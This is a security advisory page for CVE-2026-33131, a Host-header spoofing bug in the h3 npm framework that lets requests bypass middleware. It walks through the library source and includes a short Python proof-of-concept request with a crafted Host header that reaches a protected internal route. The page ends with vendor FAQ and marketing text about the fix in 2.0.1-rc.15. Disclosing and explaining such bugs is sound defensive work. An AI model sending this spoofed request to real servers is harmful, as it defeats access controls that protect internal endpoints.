CVE-2026-33131

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");

  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }

  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next() 
})
app.use(logger);
app.use("/internal/run", internalOnly);


app.get("/internal/run", () => {
  return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

 this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

CVE-2026-33131 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.1-rc.15); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33131? CVE-2026-33131 is a high-severity security vulnerability in h3 (npm), affecting versions >= 2.0.0-0, < 2.0.1-rc.15. It is fixed in 2.0.1-rc.15.
2. How severe is CVE-2026-33131? CVE-2026-33131 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of h3 are affected by CVE-2026-33131? h3 (npm) versions >= 2.0.0-0, < 2.0.1-rc.15 is affected.
4. Is there a fix for CVE-2026-33131? Yes. CVE-2026-33131 is fixed in 2.0.1-rc.15. Upgrade to this version or later.
5. Is CVE-2026-33131 exploitable, and should I be worried? Whether CVE-2026-33131 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33131 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33131? Upgrade h3 to 2.0.1-rc.15 or later.